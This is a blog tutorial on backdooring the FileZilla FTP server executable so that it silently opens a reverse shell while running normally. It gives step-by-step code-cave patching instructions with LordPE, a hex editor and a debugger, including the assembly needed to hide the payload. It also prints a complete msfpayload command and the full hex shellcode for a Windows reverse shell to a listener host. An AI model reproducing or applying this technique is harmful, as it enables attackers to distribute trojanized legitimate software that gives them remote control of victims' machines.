Backdoor inside a Windows Binary

Hello everyone!  In this post I’m going to explain how to backdoor a Windows binary with a reverse shell, but feel free to use the shellcode that you prefer.

I’ve chosen FileZilla FTP server version 3.8.0 for this example. The purpose of this exercise is to embed inside the FileZilla exe or the dll’s a malicious payload that opens a reverse shell connection without breaking the normal execution of the FTP client.

To be able to modify the binary we are going to need some tools. One is LordPE, you can download it from here:

https://xavibel.com/tools/lordpe.zip

Our malicious code, is going to be saved inside a Code Cave that is going to be placed at the very end of the binary.

If you are interested in Code Caves and reversing take a look to this article:

https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

We can try to find a Code Cave manually or with tools like Cave Miner:

https://github.com/Antonin-Deniau/cave_miner

For this example and to keep it simple, we are going to create one.

To do that we have to open the binary with LordPE

And click in edit the last section that is named: “.rsrc”. We are going to add 1000 bytes in VirtualSize and 1000 bytes in RawSize.

After we have to edit the flags, and mark this section as: “Executable as code”.

Now we need a hex editor named XVI32:

https://xavibel.com/tools/xvi32.zip

We open the file with the hex editor, and add 1000 bytes at the very end of the file.

Then the binary it’s prepared to start working. Let’s open it with our favorite debugger.

Our purpose is to locate the Code Cave that we have already created. One method to do that is to check the Memory in the debugger.

We placed our code cave in the section .rsrc that starts in memory address 00C3D000. That section had a virtual size of 1149c and after all this bytes is our code cave waiting for us.

Let’s do the math:

C3D000 + 1149C = C4E49C

So the memory address that we are looking for is:

0x00C4E49C

Let’s verify that it’s correct:

We can see that in that memory address is full of nulls, so we were right:

Now it’s the moment to locate where we can place the Jmp to our cave. The first thing that we can see it’s the CALL filezilla 0xaddress instruction. It seems that is the correct instruction to overwrite without breaking the code execution.

Let ‘s change the CALL 0x00401020 for a JMP 0x0x00C4E49C (The start of our Code Cave)

We verify that our JMP works fine:

Here we are going to do the following things: Execute a shell and return the execution to the normal flow of the program.

But if here we just put our shell, we are going to lose the actual state of the registers and the flags. Our shell will execute but FileZilla won’t. So before doing anything we have to save the registers and flag status

To do that we have to do two instructions:

pushad
pushfd

Now we need to generate our shellcode. I’m going to use an old msfpayload because the latest version of msfvenom right now has a bug in exitfunc and it’s not working fine.

root@kali:~/Documents/Tools/Shellcode# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 EXITFUNC=none C | sed 's/\\x//g' | awk -F '"' '{print$2}' | sed ':a;N;$!ba;s/\n/ /g' | sed 's/\ //g'
fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd65353535343534353ffd068c0a80158666801bb665389e19568ecf9aa6057ffd66a105155ffd0666a646668636d6a505929cc89e76a4489e231c0f3aa9589fdfe422dfe422c8d7a38ababab6872feb316ff7528ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd068e779c679ff7504ffd6ff77fcffd068f08a045f53ffd6ffd0

We have placed our shellcode right after the copy that we did of the registers and the flags.

But before saving the changes, we are going to made a small change in the code, and modify the following PUSH -1:

This is a variable of a WaitSingleObject kernel function, that causes a problem in this particular case, we have to change it for a PUSH 0 or the FTP it’s not going to start until we close the shell.

Our shell is in the correct place, after it, we have to restore the execution flow. The first thing that we need to recover is the ESP value. We can’t hardcode it because of the ASLR memory protection, so we have to find the relation between the last value of ESP.

We put a breakpoint just after the PUSHFD instruction and save the value of ESP:

0022FF84

Then we put a second breakpoint after of the last instruction of our shellcode and we save again the value of ESP:

0022FEE4

So we have to rest the second value to the first one:

22FF84 - 22FEE0 = A0

So the instruction that we need to do is:

ADD ESP, 0A0

We verify that we recover the value that we want of ESP, you can see it in the image below:

Now it’s moment to recover the flags, and after the registers. We execute:

popfd
popad

Just after this, we need to put the instruction that we erased:

CALL 0x00401020

And after that a JMP to the instruction that is just below the instruction that we deleted:

JMP 0x00401123

We save the changes, and we execute the FileZilla, the program opens normally and we get our shell 🙂

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *